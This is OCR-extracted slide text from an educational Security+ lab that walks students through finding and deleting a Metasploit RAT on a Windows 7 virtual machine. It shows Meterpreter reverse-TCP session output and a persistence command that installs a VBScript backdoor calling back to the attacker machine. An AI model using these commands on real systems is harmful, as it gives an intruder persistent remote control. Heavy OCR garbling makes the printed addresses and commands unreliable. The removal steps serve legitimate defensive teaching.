RAT Removal Lab

Please Note: It is highly recommended to have
completed the Backdoor Removal Lab prior to this lab.
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RAT Removal Materials

 Materials needed
e Kali Linux Virtual Machine
 Windows 7 Virtual Machine

» Software tool used (from Kali Linux)
« Metasploit Framework

« Note: This lab will attempt to remove a persistence script that is already
running on the Windows 7 machine
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Objectives Covered

» Security+ Objectives (SY0-701)
* Objective 2.4 - Given a scenario, analyze indicators of malicious
activity.
» Malware attacks
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What is a RAT?

« A Remote Access Trojan (RAT) is a tool that allows malicious users to
connect remotely to a system

« Sometime referred to as a Remote Administration Tool
* An ultimate backdoor

* [t is recommended to use the same RAT installed by the RAT/Bot Lab
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RAT Removal Lab Overview

Please Note: It is highly

~Connect to the RAT « recommended to connect to the RAT
_ by following along with the RAT/Bot
. Shut Down the Current Session Lab!

. Re-open the Backdoor

. Locate the RAT

. Locate all the RATs

. Delete the RATs and Reboot
. Try to Reconnect

~N O O A W DN -

-—
CYB=R.ORG
-— L]

THE ACADEMIC INITIATIVE OF THE CYBER INNOVATION CENTER



Connect to the RAT

» Connect with the RAT from the Kali Linux machine
 Have a backdoor session open on the Kali machine
* Windows 7 machine is being controlled

msth explolt( 1 = Fun

started reverse TCP handler on 18.15.23.170:1717
Sending stage (200262 bytes) to 18.15.24.20]
Meterpreter sessiom 1 opened (16.15.23.176:1717 -> 18.15.24.201:492

18) at 2023-87-83 14:56:28 +06060

meETEr pr efEr = I

Open backdoor session, connected via a RAT

* It is highly recommended to have the persistence scripts from the
RAT/Bot lab used for this RAT
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Shut Down the Current Session

* In Windows, the user can search and try to kill a backdoor session just like
in the Backdoor Removal Lab.

File Monitor Help

* In Windows, open the Resource |z el e

Monitor. [ . ';rm
+ Press the Windows Start button |85 & == =
« Search for “Resource Monitor” Qe o
« Open the Resource Monitor T — |
application —  M—

Windows 7 Resource Monitor
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Shut Down the Current Session

* In the Resource Monitor, select the Network tab
* Open the TCP Connections tab

 Locate the backdoor session
* |t should be using the remote address of the Kali machine

TCP Connections i
Image PID Local ... | Local ... | Remot... | Remot... | Packe...| ... =
tvnserver.eog 1508 10.15.... 901 10.15.... ELA 0 0
OALWIBSSLoyU.exe E20 10.1E.... 49155 10.1E.... ralrg |

mgelUNZOwWR. axe 235 10.15.... 49155 10.15.... ?17'1‘

This should be your Kali IP Address and
the port you assigned for the backdoor
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Shut Down the Current Session

* Once you have the backdoor session, shut it down

* Up in Processes with Network Activity

 Right click on the session
» Select End Process to terminate the session

* You should notice on the Kali machine the session has been closed

Processes with Metwork Activity

[ image [ro |
O svehostexe (Metwork Service) 1160 meterpreter =
W §okNDdevFrp exe 10.15.36.109 - Meterpreter session 2 close

D Systam

Metasploit showing the
session closed

Shutting the backdoor
session down
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Re-open the Backdoor

* In Kali, press CTRL+C to bring back up meterpreter
* Use exit to quit the session

B.15.36.109 - Meterpreter session 2 closed. Reason: Died
e the 'exit® command to guit
eterpreter = exit
Shutting down Meterpreter...
msfe exploit( } = run
Started reverse TCP handler on 10.15.25.197:7171
Sending stage (175686 bytes) to 18.15.36.189
Meterpreter session 3 opened (10.15.25.197:7171 -> 10.15.36.109:49202)
nane

meterpreter > I

Re-connected to the backdoor

Please Note: Although the session was shut down, it was
very easy for the malicious user to re-connect to the RAT
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Locate the RAT

* [n Windows, stay in the Resource Monitor app
 Locate the name of the RAT application

TCP Connections
Irnage I PID I Local Address I Local Port I Fermote Addr... I Fermobe Port I P
svchost.exe [(MetworkService) 1160 10.1.74.109 3389 10.1.2.211 30128
[ qkMDdswFrap.exe ] 2992 10,1.74,109 4201 10,165,107 7171
Ec2Coniig.exe 1536 10,1.74,109 L4211 169,254,169,254 o 20
Ec2Zofifig.exe 1526 10,174,109 4210 169,254,169,25 a0
/ q
Find the RAT by matching the

This is the name of the RAT
program

malicious/Kali IP address and port
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Locate the RAT

* Open Windows Explorer
* Press the Windows Start button
« Search for “Windows Explorer’
* Open Windows Explorer

* Click on Computer button

* In the search bar, search for the first 5 letters of the backdoor
program

* You should see the location of the RAT

-—
CYB=R.ORG
-— L]

THE ACADEMIC INITIATIVE OF THE CYBER INNOVATION CENTER



Locate the RAT

Searching for first 5 letters of the backdoor program
\

,.’ gKNDd - Search Results in Computer M=l B3 I
e, -
‘; b\,_)v ‘)_, + Search Results in Computer - ¥ m.l I gkhDd LX)
Orgarize *  Save seatch jE hd m @
Searches might be slow in non-indexed locations: . Click to add toindesx, .. x
T Favorites s Emp Date modified: 7/28/2020 &:02 PM
B Deskiop . Ciilsersistudentt AppDatallocal Templrad COSAC tmp Size: 72.0 KB
& Downloads [KRDdkFrmp Date modified: 7/28{2020 4:35 PM
=l Recent Places @ CiiUserststudent) AppDWtalLocal, TemplradFE4BC . tmp Size: 72.0 KB

- Libraries Search again in:
| Dacuments Libraries @ Homegroup I C & Internet o) File Contents
J‘ Music
[ Pictures
E Yideos

#dy Homegroup

;‘;l Computer

\
Location of the backdoor program
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Locate the RAT

* Right-click on the RAT

» Select the Open file location option
» This will open up the RAT's file location

,’ gqKNDd - Search Results in Computer

;5 = Search Results in Computer -

G

Organize Zpen  Share with +  Save search
- Favorites m . .
B Goskiop |  Open Select the Open file location
ioad ¥y Run as administrator
& Downioads @ [KNDdsvFrp  Troubleshaot compatibility
=l Recent Places CilUsersist C.bmp
Share with 3
“ ibraties Search again in: Pin bo Taskhar
U'a_ = | ibrari HE-H Fin ko Stark Menu " " Fite cord
j Dacurnents g Hhraries Restore previous versions srnet  glHeto
I Music
J Send to 3
| Pictures
B videos Cut
Copy
913. Homegroup Create shorteut
Delete
188 Computer Rename
Cpen file location
-
EF Network Froperties
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Locate a” the RATS Select one folder back

e Select back one folder /

B radcosactmp

éév| . = Local Disk {C:) = Users = student = AppData = Local = Temp = radCDSAC. tmp - I@J

Organize *  Incudein library *  Share with = Mew folder

. Favori kes Marne = Date maodified | Type
B Desktop 7] qkhDdsyFmp 7(28j2020 B:02 PM Application
5 Dowrload

 This will open up the location of the RATs

* Try to locate programs that look like they don’t belong,
they’ll be random strings of letters
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Locate all the RATs

= Local Disk {(C:) = Users = student = AppData = Local = Temp -

hclude i library +  Share with «  Bew Folder

Marne = Tvpe
. chrome_BITS_1980_1701537379 File folder
; . chrome_BITS_2528_20937 File folder
These are the location ——
of the backdoor scripts B msdt File Folder
. rad10187.tmp File folder
. radCOSAC. tmp File folder
. radFE<4EC. kmp File folder
. WFDMNSE File: Folder
|| chrome_installer Texk Document
» FijlkF JeDuo WEScript Script File
These are the RATS that || FR5APIDebuglogFile Text Docurment
create the backdoor \ & Guest Bitmap image
Scripts_ Notice they are | 8] sPxEvpGkDel YEScript Script File
VBSC”pt flles | skudent Bitmap image
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Delete the RATs and Reboot

= Local Disk {(C:) = Users = student = AppData = Local = Temp -

hclude i library +  Share with «  Bew Folder

Delete all of these files, hame - Type
espeC|a”y the VBSC” ptS , chrome_BITS 1980 170187379 File folder
. J chrome_BITS_2528_20937 File folder
files File folder
J msdk File: folder
. rad10187.tmp File folder
» After they are deleted, restart the  radCDSAC.tmp File Folder
W| ndOWS maCh | ne | radFE4EC. tmp File folder
. . J WPDMNSE File folder
* Dependlng on your range’ thls aISO || chrome_installer Texk Document
might require Kali to be rebooted (8] Fiike TeDuo VBSeript Script Fl
|| FR5APIDebuglogFile Text Docurment
| Suest Bitmap image
sPxEYpGkDel WBScript Script File
| skudent Bitmap image

Please Note: You might not be able to delete a .tmp folder
since there is an active backdoor inside that folder. This
will erase when we restart the system. CYB=R.ORG




Try to Reconnect

* Once Windows has restarted, try to reconnect to the RAT from
the Kali Linux machine

msTh exploit| b = run

Started reverse TCP handler on 16

Notice that the Kali machine is not able to
create a backdoor session into the Windows
machine
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Please Note!

 This is what meterpreter reads when running the persistence script
from the Kali machine

= run persistence -A -1 15 -p Ff1/1

Meterpreter scripts are deprecated. Try exploit/windows/local/persistence.
xample: run exploit/windows/local/persistence OPTION=value [...]
unning Persistence Script
esource Tile for cleanup created at

E
R
R
C

Jroot/.msf4/logs/persistence/STUDENT-PC_202
3.1C
Creating Payload=windows/meterpreter/reverse_tcp LHO5T=18.15.51.13 LPORT=7171
Persistent agent script is 99661 bytes long
] Persistent Script written tocC:iUsers\windows\AppData\Local\Temp\ofkIkbOWME.vbs |
Starting ¢ ction handler at porT 7i7iJor—windowsy prretertreverse—tTp
explott/multifshandler startea!
Executing script C:\Users‘\windows‘\AppDafa\Local\TempyofkIJkbOwWMt.vbs
[+] Agent executed with PID 3436
meterpreter =

Meterpreter session 2 o¢pened (10.15.51.13:7171 -> 10.15.9¢

- = "

Notice, it shows where it is installing the RAT
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